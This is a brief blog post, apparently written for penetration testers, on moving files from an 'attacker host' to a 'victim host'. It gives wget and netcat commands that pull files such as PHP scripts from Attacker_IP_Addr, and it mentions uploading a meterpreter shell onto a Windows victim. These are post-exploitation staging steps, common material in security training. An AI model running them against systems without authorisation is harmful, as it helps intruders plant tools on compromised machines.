Here are some useful commands for file transfer between linux hosts:
On Attacker host:
# python -m SimpleHTTPServer 8080
On Victim host:
# wget http://
Attacker_IP_Addr:8080/Filename.php
Another great way to transfer file between hosts is to use netcat:
On Attacker host:
# nc -nlvp 8080 < filename.php
On Victim host:
# nc -w 3 Attacker_IP_Addr 8080 > filename.php
For file transfer between windows host, you can use the meterpreter function, but that means you will need to upload the meterpreter shell onto the victim host. Other alternatives, use the python SimpleHTTPServer function on the attacker host and then simply use IE to download the file via http, that's provided you have RDP on the victim.
Unfortunately, I'm not aware of any built in command line tool in Windows to transfer files except ftp or tftp or writing your own powershell or vbscript.
No comments:
Post a Comment